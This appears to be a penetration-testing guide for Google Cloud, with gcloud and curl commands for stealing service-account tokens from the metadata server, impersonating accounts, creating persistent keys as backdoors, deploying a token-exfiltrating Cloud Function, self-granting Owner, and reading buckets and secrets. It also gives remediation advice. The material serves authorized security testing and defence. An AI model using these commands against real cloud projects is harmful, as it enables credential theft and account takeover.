GCP Penetration Testing Guide: Service Account Abuse, Metadata Server, and IAM Privilege Escalation
Google Cloud Platform inverts a lot of the intuition you build testing AWS. The unit of identity is the service account, not the user, and a single overly-broad role binding at the project or folder level can collapse the entire blast radius into one OAuth token. GCP's IAM is additive, hierarchical (organization → folder → project → resource), and almost every escalation path routes through one of two primitives: impersonating a service account or running code on a resource that already carries one. This guide walks the methodology a penetration tester actually uses against an authorized GCP engagement — from a leaked credential or an SSRF foothold all the way to project-wide compromise.
Everything here assumes you have written authorization for the project, folder, or organization in scope. GCP's acceptable use and support policy permits security testing of your own resources without prior notice, but you are still responsible for staying inside the resources you were contracted to assess. Tag your test artifacts, work in a dedicated project where possible, and keep an inventory so you can clean up afterwards.
Identity Model: Why Service Accounts Are the Crown Jewels
In GCP, workloads authenticate as service accounts (SAs). Every Compute Engine VM, GKE pod, Cloud Function, and Cloud Run service runs as one — by default the wildly over-privileged Compute Engine default service account ([email protected]), which historically ships with the Editor role on the entire project. Compromise a single VM and you frequently inherit Editor over everything.
Three IAM permissions are the ones you hunt for, because each is a direct path to acting as another identity:
iam.serviceAccounts.getAccessToken— mint a short-lived OAuth token for a target SA (impersonation).iam.serviceAccounts.signJwt/signBlob— sign assertions as the SA, then exchange them for tokens.iam.serviceAccountKeys.create— generate a downloadable, long-lived JSON key for the SA.
Any of these against a higher-privileged SA is game over. Note the asymmetry with AWS: there is no equivalent to iam:PassRole gating here in the same way — if you can act as an SA and that SA can deploy compute, you can run code as anything that SA can become.
Phase 1: Enumerating What Your Credential Can Do
Start by establishing identity and what is reachable. The first question is always: who am I, and in which projects?
# Who is the active credential?
gcloud auth list
gcloud config list
# Token introspection — scopes matter as much as IAM
TOKEN=$(gcloud auth print-access-token)
curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN"
# Projects, folders, and the org you can see
gcloud projects list
gcloud organizations list
gcloud resource-manager folders list --organization=ORG_ID
The single most useful enumeration call is testIamPermissions, which tells you exactly which permissions your principal holds on a resource without needing read access to the policy itself:
# Ask GCP which of these permissions you actually have on a project
gcloud projects get-iam-policy PROJECT_ID # if you can read it
# Brute-check permissions you cannot read the policy for
cat > perms.json <<'EOF'
{"permissions":["iam.serviceAccounts.getAccessToken",
"iam.serviceAccountKeys.create","compute.instances.create",
"storage.buckets.setIamPolicy","cloudfunctions.functions.create",
"resourcemanager.projects.setIamPolicy"]}
EOF
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -d @perms.json \
"https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:testIamPermissions"
For automated coverage, point a tool at it. GCP Scanner (Google's own) and gcp_enum walk the APIs; for offline graph analysis of an exported IAM policy, GCPHound and Hacking the Cloud's privesc scripts surface the edges. If your foothold is a leaked SA key file, any hardcoded credentials you pull from source or config are worth running through our Secret Scanner first — GCP keys have a recognizable JSON shape ("type": "service_account", private_key) and frequently sit alongside other live secrets.
Phase 2: The Metadata Server (169.254.169.254)
Like AWS IMDS and Azure IMDS, every GCP compute resource exposes a link-local metadata server at 169.254.169.254 (and metadata.google.internal). It is the highest-value SSRF target in the cloud because it hands out the running SA's access token with no further authentication. The one quirk to remember: GCP requires the header Metadata-Flavor: Google on every request, which is a mild defense against trivial SSRF but trivially added when you control the request.
# From a foothold on a GCE/GKE/Cloud Run instance
H="Metadata-Flavor: Google"
B="http://169.254.169.254/computeMetadata/v1"
# Which SA does this instance run as, and what scopes?
curl -s -H "$H" "$B/instance/service-accounts/default/email"
curl -s -H "$H" "$B/instance/service-accounts/default/scopes"
# The prize: a live OAuth access token
curl -s -H "$H" "$B/instance/service-accounts/default/token"
# Project + instance context for pivoting
curl -s -H "$H" "$B/project/project-id"
curl -s -H "$H" "$B/instance/attributes/?recursive=true"
Two attributes deserve special attention. First, instance/attributes/startup-script and SSH key attributes often contain hardcoded credentials or reveal deployment logic. Second, the recursive dump (?recursive=true&alt=json at the root) pulls the entire metadata tree in one request — invaluable when you only get a single SSRF fire.
When you exploit this via SSRF rather than a shell, the payload is just the URL — but you must smuggle the required header. Targets that proxy a header you control, or libraries that follow redirects to an attacker-controlled 302 that then sends the header, are the usual route. For a deeper treatment of multi-cloud metadata theft and header-injection variants, see our Cloud Metadata Exploitation guide.
# Drop the stolen token into gcloud / curl
export CLOUDSDK_AUTH_ACCESS_TOKEN=ya29.a0Af...
gcloud auth print-access-token # confirm it loads
# Or call APIs directly
curl -s -H "Authorization: Bearer ya29.a0Af..." \
"https://cloudresourcemanager.googleapis.com/v1/projects"
Phase 3: IAM Privilege Escalation
Once you know your permissions, map them to an escalation. The richest paths in GCP almost all bottom out in service-account impersonation or in deploying compute that runs as a more-privileged SA.
Direct impersonation
If you hold iam.serviceAccounts.getAccessToken on a target SA, you simply ask for its token:
# Generate an access token for a higher-priv SA
gcloud auth print-access-token \
--impersonate-service-account=admin-sa@PROJECT_ID.iam.gserviceaccount.com
# Or via the IAM Credentials API directly
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/admin-sa@PROJECT_ID.iam.gserviceaccount.com:generateAccessToken"
Key creation
With iam.serviceAccountKeys.create, mint a persistent JSON key — a backdoor that survives token expiry and is a favorite for establishing durable access during long engagements:
gcloud iam service-accounts keys create key.json \
--iam-account=admin-sa@PROJECT_ID.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=key.json
Deploy-as escalation
If you can create a Cloud Function, Cloud Run service, GCE instance, or GKE workload and attach a privileged SA to it, your code runs as that SA. This is the GCP equivalent of the classic Lambda/PassRole pivot:
# Deploy a function that runs as the privileged SA and exfils its token
gcloud functions deploy privesc \
--runtime=python311 --trigger-http --allow-unauthenticated \
--service-account=admin-sa@PROJECT_ID.iam.gserviceaccount.com \
--entry-point=main --source=.
# main() reads the metadata token and returns it to you
Policy self-grant
The bluntest path: if you hold resourcemanager.projects.setIamPolicy (bundled into Owner and some custom roles), bind yourself Owner. Watch for iam.serviceAccounts.actAs and custom roles that accidentally include setIamPolicy on a folder or org node — the higher in the hierarchy, the larger the prize. The Cloud Attack Chain Generator at /generators/cloud-attacks can assemble these primitives into a documented chain for your report.
gcloud projects add-iam-policy-binding PROJECT_ID \
--member="user:[email protected]" --role="roles/owner"
Phase 4: Cloud Storage and Secrets
GCS buckets are the GCP S3 analogue and leak the same way. Public access comes from the allUsers or allAuthenticatedUsers members in a bucket's IAM policy. Bucket names are globally unique, so enumeration and unauthenticated reads are productive even without credentials.
# Authenticated listing
gsutil ls
gsutil ls -r gs://target-bucket/
# Inspect IAM for public bindings
gsutil iam get gs://target-bucket
gcloud storage buckets get-iam-policy gs://target-bucket
# Unauthenticated read (no creds) — JSON API
curl -s "https://storage.googleapis.com/storage/v1/b/target-bucket/o"
curl -s "https://storage.googleapis.com/target-bucket/backup.sql"
# Hunt for sensitive objects
gsutil ls -r gs://target-bucket/ | grep -Ei 'secret|backup|\.sql|\.env|cred|key'
Beyond storage, GCP keeps secrets in predictable places. Secret Manager is the first stop if your SA can read it, and Cloud Functions / Cloud Run frequently bake secrets into environment variables visible to anyone who can describe the resource:
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=prod-db-password
# Function and Cloud Run env vars (often hold credentials)
gcloud functions describe FUNC --format='value(serviceConfig.environmentVariables)'
gcloud run services describe SVC --format=yaml | grep -A2 -i env
# Cloud Build / deployment logs sometimes echo secrets
gcloud logging read 'resource.type=build' --limit=20 --format=json
Tooling Cheat Sheet
- gcloud / gsutil / bq — the official CLI is your primary instrument; almost every action above is a one-liner. Set
CLOUDSDK_AUTH_ACCESS_TOKENto use stolen tokens. - GCP Scanner — Google's own credential-driven enumerator; feeds it tokens or key files and maps reachable resources.
- GCPHound / gcploit — privilege-escalation discovery; gcploit automates the impersonation-chain paths from a starting SA.
- ScoutSuite / Prowler — multi-cloud audit tools with strong GCP coverage for misconfiguration sweeps and reporting.
- Hayat / cf-enum — log and Cloud Function focused recon.
For the broader cloud methodology and how GCP differs from the AWS attack surface, our AWS Penetration Testing Guide is a useful companion — the IAM mental models are different enough that contrasting them sharpens both.
Defenses and Remediation
The findings above map cleanly onto hardening recommendations you should put in the report:
- Disable the default SA's broad role. Remove
Editorfrom the Compute Engine default service account, or set instances to run as a purpose-built, least-privilege SA. Enforce theiam.automaticIamGrantsForDefaultServiceAccountsorg policy to stop the auto-grant entirely. - Lock down the metadata server. On GKE, enable Workload Identity so pods receive scoped tokens instead of the node SA, and the legacy metadata endpoints are blocked. Set restrictive instance scopes, and never expose an SSRF-reachable proxy on a metadata-bearing host.
- Kill long-lived keys. Apply the
iam.disableServiceAccountKeyCreationorg policy and prefer impersonation or Workload Identity Federation. EveryserviceAccountKeys.createcapability is a persistence opportunity for an attacker. - Constrain dangerous permissions. Treat
getAccessToken,signJwt,actAs, andsetIamPolicyas privileged. Audit custom roles for accidental inclusion of these, and grant them at the narrowest resource scope, never at the org or folder node unless truly required. - Close public storage. Enable Public Access Prevention at the org level and turn on Uniform Bucket-Level Access so per-object ACLs cannot reintroduce
allUsersexposure. - Detect the abuse. Cloud Audit Logs record
GenerateAccessToken, key creation, and policy changes — alert on impersonation of high-value SAs and on new key creation. Many teams log the calls but never alert on them.
The throughline of GCP testing is identity reachability: who can become whom, and which workload carries which token. If you can answer that across the org hierarchy, you have already found every privilege-escalation path worth reporting — and your remediation section writes itself.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides